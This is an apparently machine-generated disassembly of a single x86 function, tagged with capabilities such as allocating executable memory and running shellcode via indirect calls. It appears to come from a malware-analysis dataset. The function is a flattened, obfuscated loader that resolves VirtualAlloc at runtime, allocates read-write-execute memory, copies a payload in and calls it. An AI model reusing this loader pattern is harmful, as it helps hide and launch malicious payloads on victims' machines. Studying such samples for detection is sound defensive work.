Function at 0x413940
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x24
mov esi, ecx
mov byte [ebp - 0x19], 1
mov byte [ebp - 0x1a], 1
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x97316a86
jmp 0x413970
mov eax, 0x4a3a875e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0xf0a20eb6
jg 0x4139e0
cmp eax, 0xb0ca0e79
jg 0x413a50
cmp eax, 0x97316a85
jg 0x413b07
cmp eax, 0x8d6a9c52
jle 0x413c7d
cmp eax, 0x91534399
jle 0x413e85
cmp eax, 0x94c05e6b
jle 0x414224
cmp eax, 0x9608ec29
jg 0x414823
cmp eax, 0x94c05e6c
je 0x414944
cmp eax, 0x95a7f8ef
jne 0x413970
mov eax, 0xdaaf7ba6
jmp 0x413970
cmp eax, 0x338772fc
jg 0x413ab0
cmp eax, 0x917c026
jg 0x413b99
cmp eax, 0xfcdb42b6
jle 0x413cbe
cmp eax, 0x13c0bf3
jle 0x413ebb
cmp eax, 0x5fbde0b
jle 0x41424f
cmp eax, 0x6e2c743
jg 0x41486f
cmp eax, 0x5fbde0c
je 0x41494e
cmp eax, 0x6e2956e
jne 0x413970
mov eax, 0xc9427d73
jmp 0x413970
cmp eax, 0xcebacd81
jg 0x413be5
cmp eax, 0xc771fa2f
jle 0x413cff
cmp eax, 0xc9427d72
jle 0x413f1d
cmp eax, 0xccacff08
jle 0x41427a
cmp eax, 0xce2462c0
jg 0x41488f
cmp eax, 0xccacff09
je 0x414958
cmp eax, 0xcdb2a3d2
jne 0x413970
mov eax, 0xfe440525
jmp 0x413970
cmp eax, 0x58796fa4
jg 0x413c31
cmp eax, 0x45879e8d
jle 0x413d40
cmp eax, 0x4e6c2dd9
jle 0x413f53
cmp eax, 0x5103a839
jle 0x4142a5
cmp eax, 0x52727f26
jg 0x4148af
cmp eax, 0x5103a83a
je 0x414962
cmp eax, 0x52286df3
jne 0x413970
mov eax, 0xfd996af3
jmp 0x413970
cmp eax, 0xa5c890aa
jle 0x413d81
cmp eax, 0xacca947e
jle 0x413f89
cmp eax, 0xae708fa3
jle 0x4142d0
cmp eax, 0xafc8361a
jg 0x4148cf
cmp eax, 0xae708fa4
je 0x414998
cmp eax, 0xaeaf7f6a
jne 0x413970
push dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
call fcn.0041f920
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov ecx, esi
call fcn.00408ef0
mov ecx, dword [ebp - 0x10]
call fcn.0040d250
push dword [ebp - 0x10]
call section..text
add esp, 4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
push dword [ebp - 0x14]
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call ebx
mov eax, 0xff1c7ac7
jmp 0x413970
cmp eax, 0x212570e6
jle 0x413dc2
cmp eax, 0x2ae5c55f
jle 0x413fbf
cmp eax, 0x2d19da2a
jle 0x4142fb
cmp eax, 0x2f9cf2df
jg 0x4148ef
cmp eax, 0x2d19da2b
je 0x4149aa
cmp eax, 0x2d8a9299
jne 0x413970
mov eax, 0x382b111e
jmp 0x413970
cmp eax, 0xdd4d63bf
jle 0x413e03
cmp eax, 0xe7601593
jle 0x413ff5
cmp eax, 0xe9a0ee5c
jle 0x41436c
cmp eax, 0xedc739a7
jg 0x41490f
cmp eax, 0xe9a0ee5d
je 0x4149b4
cmp eax, 0xebe70223
jne 0x413970
mov eax, 0x77100a03
jmp 0x413970
cmp eax, 0x6e032ffe
jle 0x413e44
cmp eax, 0x7aa0eaa9
jg 0x41402b
cmp eax, 0x735de276
jle 0x414397
cmp eax, 0x77100a02
jg 0x41492f
cmp eax, 0x735de277
je 0x4149be
cmp eax, 0x744f06a5
jne 0x413970
mov eax, 0xbb61fa14
jmp 0x413970
cmp eax, 0x87c6d013
jg 0x414061
cmp eax, 0x84961470
jg 0x4143c2
cmp eax, 0x8276a17a
je 0x4149c8
cmp eax, 0x8386f18a
je 0x4149d2
cmp eax, 0x847d9b42
jne 0x413970
mov eax, 0x52727f27
jmp 0x413970
cmp eax, 0xf4bf5376
jg 0x414097
cmp eax, 0xf260842e
jg 0x4143ed
cmp eax, 0xf0a20eb7
je 0x4149dc
cmp eax, 0xf0f9ce22
je 0x4149e6
cmp eax, 0xf24d8d4d
jne 0x413970
mov eax, 0x58796fa5
jmp 0x413970
cmp eax, 0xb94c8696
jg 0x4140cd
cmp eax, 0xb564f8bb
jg 0x414418
cmp eax, 0xb0ca0e7a
je 0x4149f0
cmp eax, 0xb48e95f2
je 0x4149fa
cmp eax, 0xb505553c
jne 0x413970
mov eax, 0xb7963c9
jmp 0x413970
cmp eax, 0x3cb51072
jg 0x414103
cmp eax, 0x38b1c33d
jg 0x414481
cmp eax, 0x338772fd
je 0x414a04
cmp eax, 0x382b111e
je 0x414a0e
cmp eax, 0x383656ef
jne 0x413970
mov eax, 0x9608ec2a
jmp 0x413970
cmp eax, 0x9b13de80
jg 0x41414c
cmp eax, 0x98518b36
jg 0x4144ac
cmp eax, 0x97316a86
je 0x414a18
cmp eax, 0x97be810f
je 0x414a37
cmp eax, 0x9802538a
jne 0x413970
mov eax, 0x84961471
jmp 0x413970
cmp eax, 0x146c827b
jg 0x414182
cmp eax, 0xd3ea6e0
jg 0x4144d7
cmp eax, 0x917c027
je 0x414a41
cmp eax, 0xa99d0a8
je 0x414a4b
cmp eax, 0xb7963c9
jne 0x413970
mov eax, 0xb48e95f2
jmp 0x413970
cmp eax, 0xd8dc92e9
jg 0x4141b8
cmp eax, 0xd617dcd2
jg 0x414502
cmp eax, 0xcebacd82
je 0x414a55
cmp eax, 0xd2d8cf24
je 0x414a5f
cmp eax, 0xd4a4da9e
jne 0x413970
mov eax, 0x338772fd
jmp 0x413970
cmp eax, 0x66a2a5fa
jg 0x4141ee
cmp eax, 0x5cc7a0a4
jg 0x41452d
cmp eax, 0x58796fa5
je 0x414a95
cmp eax, 0x5ae14ebf
je 0x414a9f
cmp eax, 0x5bb915f5
jne 0x413970
mov eax, 0x15748fbb
jmp 0x413970
cmp eax, 0x8fa27c5f
jg 0x414558
cmp eax, 0x8d6a9c53
je 0x414aa9
cmp eax, 0x8e0971ef
je 0x414ab3
cmp eax, 0x8f30a220
jne 0x413970
mov eax, 0xce2462c1
jmp 0x413970
cmp eax, 0xfe54fdd5
jg 0x414583
cmp eax, 0xfcdb42b7
je 0x414abd
cmp eax, 0xfd996af3
je 0x414ac7
cmp eax, 0xfe440525
jne 0x413970
mov ecx, esi
call fcn.00407260
mov edi, eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
call eax
mov eax, 0xb505553c
jmp 0x413970
cmp eax, 0xc86242ab
jg 0x4145ae
cmp eax, 0xc771fa30
je 0x414ad1
cmp eax, 0xc7ac69c2
je 0x414adb
cmp eax, 0xc7bbb524
jne 0x413970
mov eax, 0xa3479469
jmp 0x413970
cmp eax, 0x4838e65e
jg 0x4145d9
cmp eax, 0x45879e8e
je 0x414ae5
cmp eax, 0x45b515d5
je 0x414b35
cmp eax, 0x479a10bf
jne 0x413970
mov eax, 0x13c0bf4
jmp 0x413970
cmp eax, 0xa850254a
jg 0x414604
cmp eax, 0xa5c890ab
je 0x414b3f
cmp eax, 0xa5ecf194
je 0x414b49
cmp eax, 0xa7ee2495
jne 0x413970
mov eax, 0x52727f27
jmp 0x413970
cmp eax, 0x27432618
jg 0x41462f
cmp eax, 0x212570e7
je 0x414b53
cmp eax, 0x2259c68f
je 0x414b5d
cmp eax, 0x26657ad9
jne 0x413970
mov eax, 0xde796e85
jmp 0x413970
cmp eax, 0xe3706210
jg 0x414662
cmp eax, 0xdd4d63c0
je 0x414b67
cmp eax, 0xde796e85
je 0x414b77
cmp eax, 0xe27c60d7
jne 0x413970
mov eax, 0x97be810f
jmp 0x413970
cmp eax, 0x7d956d2b
jg 0x41468d
cmp eax, 0x7aa0eaaa
je 0x414b81
cmp eax, 0x7bd69985
je 0x414b8b
cmp eax, 0x7be3012f
jne 0x413970
mov eax, 0x382b111e
jmp 0x413970
cmp eax, 0x8b228c40
jg 0x4146cb
cmp eax, 0x87c6d014
je 0x414b95
cmp eax, 0x898223ea
je 0x414b9f
cmp eax, 0x8a9f2207
jne 0x413970
mov eax, 0xb48e95f2
jmp 0x413970
cmp eax, 0xfa406c21
jg 0x4146f6
cmp eax, 0xf4bf5377
je 0x414ba9
cmp eax, 0xf4e7d520
je 0x414bb3
cmp eax, 0xf68dcdb9
jne 0x413970
mov eax, 0x9f083ea0
jmp 0x413970
cmp eax, 0xc0122cbb
jg 0x414721
cmp eax, 0xb94c8697
je 0x414bbd
cmp eax, 0xb9de11f2
je 0x414bc7
cmp eax, 0xbb61fa14
jne 0x413970
mov eax, 0xebe70223
jmp 0x413970
cmp eax, 0x44155d93
jg 0x41474c
cmp eax, 0x3cb51073
je 0x414bd1
cmp eax, 0x41aef984
je 0x414bdb
cmp eax, 0x44143fed
jne 0x413970
cmp byte [ebp - 0x1b], 0
mov eax, 0x4e6c2dda
mov ecx, 0xe5232bf7
cmovne eax, ecx
mov dword [ebp - 0x24], 0
jmp 0x413970
cmp eax, 0xa3479468
jg 0x414777
cmp eax, 0x9b13de81
je 0x414be5
cmp eax, 0x9f083ea0
je 0x414bef
cmp eax, 0x9ff58a21
jne 0x413970
mov eax, 0xe695fc41
jmp 0x413970
cmp eax, 0x19ccb8f5
jg 0x4147a2
cmp eax, 0x146c827c
je 0x413960
cmp eax, 0x15748fbb
je 0x414bff
cmp eax, 0x194308f6
jne 0x413970
mov eax, 0x8b228c41
jmp 0x413970
cmp eax, 0xdaaf7ba5
jg 0x4147cd
cmp eax, 0xd8dc92ea
je 0x414c09
cmp eax, 0xd8ed8426
je 0x414c13
cmp eax, 0xda4d49f4
jne 0x413970
mov eax, 0xf4e7d520
jmp 0x413970
cmp eax, 0x6aa7e061
jg 0x4147f8
cmp eax, 0x66a2a5fb
je 0x414c25
cmp eax, 0x68cf9693
je 0x414c2f
cmp eax, 0x697ecf0c
jne 0x413970
mov eax, 0xe7e6bb29
jmp 0x413970
cmp eax, 0x9153439a
je 0x414c39
cmp eax, 0x91ca0f1f
je 0x414c43
cmp eax, 0x93e01aff
jne 0x413970
mov eax, 0x87c6d014
jmp 0x413970
cmp eax, 0x13c0bf4
je 0x414c4d
cmp eax, 0x1d16919
je 0x414c57
cmp eax, 0x563cb5c
jne 0x413970
mov eax, 0x634436a7
jmp 0x413970
cmp eax, 0xc9427d73
je 0x414c61
cmp eax, 0xc9fd14e6
je 0x414c6b
cmp eax, 0xca4ed110
jne 0x413970
mov eax, 0xb564f8bc
jmp 0x413970
cmp eax, 0x4e6c2dda
je 0x414c75
cmp eax, 0x4e753b72
je 0x414c7f
cmp eax, 0x50f4f1aa
jne 0x413970
mov eax, 0xde796e85
jmp 0x413970
cmp eax, 0xacca947f
je 0x414c89
cmp eax, 0xad52be43
je 0x414c93
cmp eax, 0xae3112e3
jne 0x413970
mov eax, 0x93e01aff
jmp 0x413970
cmp eax, 0x2ae5c560
je 0x414cc9
cmp eax, 0x2bce594c
je 0x414cd3
cmp eax, 0x2c083b0a
jne 0x413970
push dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
call fcn.0041f920
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov ecx, esi
call fcn.00408ef0
mov ecx, dword [ebp - 0x10]
call fcn.0040d250
push dword [ebp - 0x10]
call section..text
add esp, 4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
push dword [ebp - 0x14]
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call ebx
mov eax, 0x6e2956e
jmp 0x413970
cmp eax, 0xe7601594
je 0x414cdd
cmp eax, 0xe7e6bb29
je 0x414ce7
cmp eax, 0xe972a26d
jne 0x413970
mov eax, 0x316e516c
jmp 0x413970
cmp eax, 0x6e032fff
je 0x414cf1
cmp eax, 0x71ed8ac2
je 0x414cfb
cmp eax, 0x72b7cbe0
jne 0x413970
mov eax, 0xfd996af3
jmp 0x413970
cmp eax, 0x84961471
je 0x414d05
cmp eax, 0x859612ba
je 0x414d0f
cmp eax, 0x86171ee8
jne 0x413970
mov eax, 0xce676b60
jmp 0x413970
cmp eax, 0xf260842f
je 0x414d19
cmp eax, 0xf2ebfc99
je 0x414d23
cmp eax, 0xf32cb494
jne 0x413970
mov eax, 0x68cf9693
jmp 0x413970
cmp eax, 0xb564f8bc
je 0x414d2d
cmp eax, 0xb5811405
je 0x414d37
cmp eax, 0xb7d5405e
jne 0x413970
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
mov ecx, esi
call fcn.00407260
mov dword [ebp - 0x18], eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push dword [ebp - 0x18]
push 0
call eax
mov dword [ebp - 0x10], eax
test eax, eax
sete byte [ebp - 0x1b]
mov eax, 0xd8dc44ef
jmp 0x413970
cmp eax, 0x38b1c33e
je 0x414d41
cmp eax, 0x39bf5724
je 0x414d4b
cmp eax, 0x3c3aa12d
jne 0x413970
mov eax, 0xb0ca0e7a
jmp 0x413970
cmp eax, 0x98518b37
je 0x414d55
cmp eax, 0x988157aa
je 0x414d5f
cmp eax, 0x99d2a89e
jne 0x413970
mov eax, 0x13c0bf4
jmp 0x413970
cmp eax, 0xd3ea6e1
je 0x414d69
cmp eax, 0xd4e78c4
je 0x414d73
cmp eax, 0x12cc8453
jne 0x413970
mov eax, 0x8fe13588
jmp 0x413970
cmp eax, 0xd617dcd3
je 0x414dc3
cmp eax, 0xd8d84de9
je 0x414e13
cmp eax, 0xd8dc44ef
jne 0x413970
mov eax, 0xa99d0a8
jmp 0x413970
cmp eax, 0x5cc7a0a5
je 0x414e1d
cmp eax, 0x634436a7
je 0x414e27
cmp eax, 0x665759ed
jne 0x413970
mov eax, 0xae3112e3
jmp 0x413970
cmp eax, 0x8fa27c60
je 0x414e31
cmp eax, 0x8fe13588
je 0x414e3b
cmp eax, 0x907b5eb5
jne 0x413970
mov eax, 0x2acd4bf3
jmp 0x413970
cmp eax, 0xfe54fdd6
je 0x414e45
cmp eax, 0xff1c7ac7
je 0x414e4f
cmp eax, 0xff3b724d
jne 0x413970
mov eax, 0xfa8ce20b
jmp 0x413970
cmp eax, 0xc86242ac
je 0x414eab
cmp eax, 0xc8aec61a
je 0x414eb5
cmp eax, 0xc93657e1
jne 0x413970
mov eax, 0x1f466670
jmp 0x413970
cmp eax, 0x4838e65f
je 0x414ebf
cmp eax, 0x4a3a875e
je 0x414ec9
cmp eax, 0x4ba78d68
jne 0x413970
mov eax, 0xf24d8d4d
jmp 0x413970
cmp eax, 0xa850254b
je 0x414ed3
cmp eax, 0xabe5566d
je 0x414edd
cmp eax, 0xac9d670f
jne 0x413970
mov eax, 0xcebacd82
jmp 0x413970
cmp eax, 0x27432619
je 0x414ee7
cmp eax, 0x2859c757
je 0x414ef1
cmp eax, 0x2acd4bf3
jne 0x413970
mov ecx, dword [ebp - 0x10]
call fcn.00412cc0
mov eax, 0xf2ebfc99
jmp 0x413970
cmp eax, 0xe3706211
je 0x414efb
cmp eax, 0xe5232bf7
je 0x414f05
cmp eax, 0xe695fc41
jne 0x413970
mov eax, 0x91ca0f1f
jmp 0x413970
cmp eax, 0x7d956d2c
je 0x414f15
cmp eax, 0x7f6fd5fd
je 0x414f1f
cmp eax, 0x7fa49f2e
jne 0x413970
cmp byte [ebp - 0x1c], 0
mov eax, 0x2bce594c
mov ecx, 0xa45f7a4b
cmovne eax, ecx
mov dword [ebp - 0x20], 0
jmp 0x413970
cmp eax, 0x8b228c41
je 0x414f31
cmp eax, 0x8ca16eab
je 0x414f3b
cmp eax, 0x8d5f7353
jne 0x413970
mov eax, 0x2859c757
jmp 0x413970
cmp eax, 0xfa406c22
je 0x414f45
cmp eax, 0xfa8ce20b
je 0x414f4f
cmp eax, 0xfa9339f4
jne 0x413970
mov eax, 0x97be810f
jmp 0x413970
cmp eax, 0xc0122cbc
je 0x414f59
cmp eax, 0xc4b78bff
je 0x414f63
cmp eax, 0xc57515da
jne 0x413970
mov eax, 0xc86242ac
jmp 0x413970
cmp eax, 0x44155d94
je 0x414f6d
cmp eax, 0x44a2b8e7
je 0x414f77
cmp eax, 0x44dee0bc
jne 0x413970
mov eax, 0x1f466670
jmp 0x413970
cmp eax, 0xa3479469
je 0x414f81
cmp eax, 0xa45f7a4b
je 0x414f8b
cmp eax, 0xa50866b2
jne 0x413970
mov eax, 0xf260842f
jmp 0x413970
cmp eax, 0x19ccb8f6
je 0x414f9e
cmp eax, 0x1ad5453c
je 0x414fa8
cmp eax, 0x1f466670
jne 0x413970
mov eax, 0x2259c68f
jmp 0x413970
cmp eax, 0xdaaf7ba6
je 0x414fb2
cmp eax, 0xdc83904b
je 0x414fbc
cmp eax, 0xdd16f373
jne 0x413970
mov eax, 0xd8dc92ea
jmp 0x413970
cmp eax, 0x6aa7e062
je 0x414fc6
cmp eax, 0x6bc8245c
je 0x414fd0
cmp eax, 0x6c8d522c
jne 0x413970
mov eax, 0xf68dcdb9
jmp 0x413970
cmp eax, 0x9608ec2a
je 0x414fda
cmp eax, 0x9670ca86
jne 0x413970
mov ecx, esi
call fcn.00407260
mov edi, eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
call eax
mov eax, 0xd2d8cf24
jmp 0x413970
cmp eax, 0x6e2c744
je 0x414fe4
cmp eax, 0x72071f5
jne 0x413970
mov eax, 0xf260842f
jmp 0x413970
cmp eax, 0xce2462c1
je 0x414fee
cmp eax, 0xce676b60
jne 0x413970
mov eax, 0x5ae14ebf
jmp 0x413970
cmp eax, 0x52727f27
je 0x414ff8
cmp eax, 0x5704de9c
jne 0x413970
mov eax, 0x94c05e6c
jmp 0x413970
cmp eax, 0xafc8361b
je 0x415002
cmp eax, 0xaff115bf
jne 0x413970
mov eax, 0x44143fed
jmp 0x413970
cmp eax, 0x2f9cf2e0
je 0x41500c
cmp eax, 0x316e516c
jne 0x413970
mov eax, 0x38b1c33e
jmp 0x413970
cmp eax, 0xedc739a8
je 0x41501e
cmp eax, 0xf014d0e2
jne 0x413970
mov eax, 0xac9d670f
jmp 0x413970
cmp eax, 0x79b9dd3a
jne 0x415028
mov eax, 0x988157aa
jmp 0x413970
mov eax, 0x95a7f8ef
jmp 0x413970
mov eax, 0x4ba78d68
jmp 0x413970
mov eax, 0xc0122cbc
jmp 0x413970
mov ecx, esi
call fcn.00407260
mov edi, eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
call eax
mov eax, 0xfe440525
jmp 0x413970
mov ecx, dword [ebp - 0x10]
call fcn.00412cc0
mov eax, 0x7f6fd5fd
jmp 0x413970
mov eax, 0x2ae5c560
jmp 0x413970
mov eax, 0x7be3012f
jmp 0x413970
mov eax, 0xfa9339f4
jmp 0x413970
mov eax, 0x194308f6
jmp 0x413970
mov eax, 0x2259c68f
jmp 0x413970
mov eax, 0xb7d5405e
jmp 0x413970
mov eax, 0xd617dcd3
jmp 0x413970
mov eax, 0x84961471
jmp 0x413970
mov eax, 0xe7601594
jmp 0x413970
mov eax, 0xc86242ac
jmp 0x413970
mov eax, 0xb5811405
jmp 0x413970
movzx ecx, byte [ebp - 0x19]
cmp byte [ebp - 0x1a], 0
mov eax, 0x5bb915f5
mov edx, 0x15748fbb
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x413970
mov eax, 0xdd16f373
jmp 0x413970
mov eax, 0x8d5f7353
jmp 0x413970
mov eax, 0x19ccb8f6
jmp 0x413970
mov eax, 0x39bf5724
jmp 0x413970
mov ecx, esi
call fcn.00407260
mov edi, eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
call eax
mov eax, 0xf4bf5377
jmp 0x413970
mov eax, 0xc7ac69c2
jmp 0x413970
mov eax, 0xcdb2a3d2
jmp 0x413970
mov eax, 0xe972a26d
jmp 0x413970
mov eax, 0xd2d8cf24
jmp 0x413970
mov eax, 0xa50866b2
jmp 0x413970
mov eax, 0x9153439a
jmp 0x413970
mov eax, 0xfe54fdd6
jmp 0x413970
mov eax, 0xe9a0ee5d
jmp 0x413970
push dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
call fcn.0041f920
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov ecx, esi
call fcn.00408ef0
mov ecx, dword [ebp - 0x10]
call fcn.0040d250
push dword [ebp - 0x10]
call section..text
add esp, 4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
push dword [ebp - 0x14]
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call ebx
mov eax, 0x2c083b0a
jmp 0x413970
mov eax, 0xfa9339f4
jmp 0x413970
mov eax, 0x4a3a875e
jmp 0x413970
mov eax, 0xc7ac69c2
jmp 0x413970
mov eax, 0xda4d49f4
jmp 0x413970
mov eax, 0x8276a17a
jmp 0x413970
mov eax, 0xe5232bf7
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
jmp 0x413970
mov eax, 0x907b5eb5
jmp 0x413970
mov eax, 0xfe54fdd6
jmp 0x413970
mov eax, 0x383656ef
jmp 0x413970
mov eax, 0xccacff09
jmp 0x413970
mov eax, 0xc4b78bff
jmp 0x413970
mov eax, 0xcdb2a3d2
jmp 0x413970
mov eax, 0x7be3012f
jmp 0x413970
mov eax, 0x4e753b72
jmp 0x413970
mov eax, 0xd8d84de9
jmp 0x413970
mov eax, 0x2c083b0a
jmp 0x413970
mov eax, 0xaff115bf
jmp 0x413970
mov eax, 0x19ccb8f6
jmp 0x413970
mov eax, 0xa45f7a4b
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
jmp 0x413970
mov eax, 0x847d9b42
jmp 0x413970
mov eax, 0xaff115bf
jmp 0x413970
mov ecx, dword [ebp - 0x10]
call fcn.00412cc0
mov eax, 0x2f9cf2e0
jmp 0x413970
mov eax, 0xda4d49f4
jmp 0x413970
mov eax, 0x697ecf0c
jmp 0x413970
mov eax, 0xa3479469
jmp 0x413970
mov eax, 0xc9427d73
jmp 0x413970
mov eax, 0x4ba78d68
jmp 0x413970
mov eax, 0xd8d84de9
jmp 0x413970
mov eax, 0xd4a4da9e
jmp 0x413970
mov eax, 0x8fe13588
jmp 0x413970
mov eax, 0x44155d94
jmp 0x413970
mov eax, 0xfa406c22
jmp 0x413970
mov eax, 0x9608ec2a
jmp 0x413970
mov ecx, esi
call fcn.00407260
mov edi, eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push edi
push 0
call eax
mov eax, 0xb7d5405e
jmp 0x413970
mov eax, 0x44a2b8e7
jmp 0x413970
mov eax, 0x8d5f7353
jmp 0x413970
mov eax, 0xa50866b2
jmp 0x413970
mov eax, 0xac9d670f
jmp 0x413970
mov eax, 0xafc8361b
jmp 0x413970
mov eax, 0x7f6fd5fd
jmp 0x413970
mov eax, 0x8d6a9c53
jmp 0x413970
mov eax, 0x93e01aff
jmp 0x413970
mov eax, 0xf0a20eb7
jmp 0x413970
mov eax, 0xff3b724d
jmp 0x413970
mov eax, 0xfcdb42b7
jmp 0x413970
mov eax, 0x8f30a220
jmp 0x413970
mov eax, 0x383656ef
jmp 0x413970
mov eax, 0xc4b78bff
jmp 0x413970
mov eax, 0x50f4f1aa
jmp 0x413970
mov eax, 0xf68dcdb9
jmp 0x413970
mov eax, 0xb94c8697
jmp 0x413970
push dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
call fcn.0041f920
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov ecx, esi
call fcn.00408ef0
mov ecx, dword [ebp - 0x10]
call fcn.0040d250
push dword [ebp - 0x10]
call section..text
add esp, 4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
push dword [ebp - 0x14]
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call ebx
mov eax, 0xd617dcd3
jmp 0x413970
push dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
call fcn.0041f920
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov ecx, esi
call fcn.00408ef0
mov ecx, dword [ebp - 0x10]
call fcn.0040d250
push dword [ebp - 0x10]
call section..text
add esp, 4
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
push dword [ebp - 0x14]
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call ebx
mov eax, 0xc57515da
jmp 0x413970
mov eax, 0xc8aec61a
jmp 0x413970
mov eax, 0xce676b60
jmp 0x413970
mov eax, 0xa5ecf194
jmp 0x413970
mov eax, 0x8b228c41
jmp 0x413970
mov eax, 0xa7ee2495
jmp 0x413970
mov eax, 0x563cb5c
jmp 0x413970
push dword [ebp - 0x18]
push 0
push dword [ebp - 0x10]
call fcn.0041f920
add esp, 0xc
mov edx, dword [ebp - 0x10]
mov ecx, esi
call fcn.00408ef0
mov ecx, dword [ebp - 0x10]
call fcn.0040d250
push dword [ebp - 0x10]
call section..text
add esp, 4
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
push dword [ebp - 0x14]
push 0x40
push dword [ebp - 0x18]
push dword [ebp - 0x10]
call ebx
test eax, eax
sete byte [ebp - 0x1c]
mov eax, 0x665759ed
jmp 0x413970
mov eax, 0xff1c7ac7
jmp 0x413970
mov eax, 0x44155d94
jmp 0x413970
mov eax, 0x1ad5453c
jmp 0x413970
mov eax, 0x44dee0bc
jmp 0x413970
mov eax, 0xebe70223
jmp 0x413970
mov eax, 0xb564f8bc
jmp 0x413970
mov eax, 0xce2462c1
jmp 0x413970
mov eax, 0x2acd4bf3
jmp 0x413970
mov eax, 0x94c05e6c
jmp 0x413970
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, 0x68cf9693
jmp 0x413970
mov eax, 0x2ae5c560
jmp 0x413970
mov ecx, dword [ebp - 0x10]
call fcn.00412cc0
mov eax, 0xc7bbb524
jmp 0x413970
mov eax, 0x3c3aa12d
jmp 0x413970
mov eax, 0xc0122cbc
jmp 0x413970
mov eax, 0xe695fc41
jmp 0x413970
mov eax, 0xdaaf7ba6
jmp 0x413970
mov eax, 0x7fa49f2e
jmp 0x413970
mov eax, 0x6aa7e062
jmp 0x413970
mov eax, 0xb94c8697
jmp 0x413970
mov eax, 0x634436a7
jmp 0x413970
mov eax, 0x2f9cf2e0
jmp 0x413970
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov eax, 0xafc8361b
jmp 0x413970
mov eax, 0x45b515d5
jmp 0x413970
mov eax, 0x79b9dd3a
jmp 0x413970
mov eax, 0x1ad5453c
jmp 0x413970
mov eax, 0xff3b724d
jmp 0x413970
mov eax, 0xb0ca0e7a
jmp 0x413970
mov eax, 0x316e516c
jmp 0x413970
mov eax, 0x744f06a5
jmp 0x413970
mov eax, 0xd4a4da9e
jmp 0x413970
mov eax, 0xdd4d63c0
jmp 0x413970
mov eax, 0xabe5566d
jmp 0x413970
mov eax, 0x479a10bf
jmp 0x413970
mov ecx, dword [ebp - 0x10]
call fcn.00412cc0
mov eax, 0x98518b37
jmp 0x413970
mov eax, 0xe7e6bb29
jmp 0x413970
cmp eax, 0x77100a03
jne 0x413970
mov eax, dword [ebp - 0x30]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret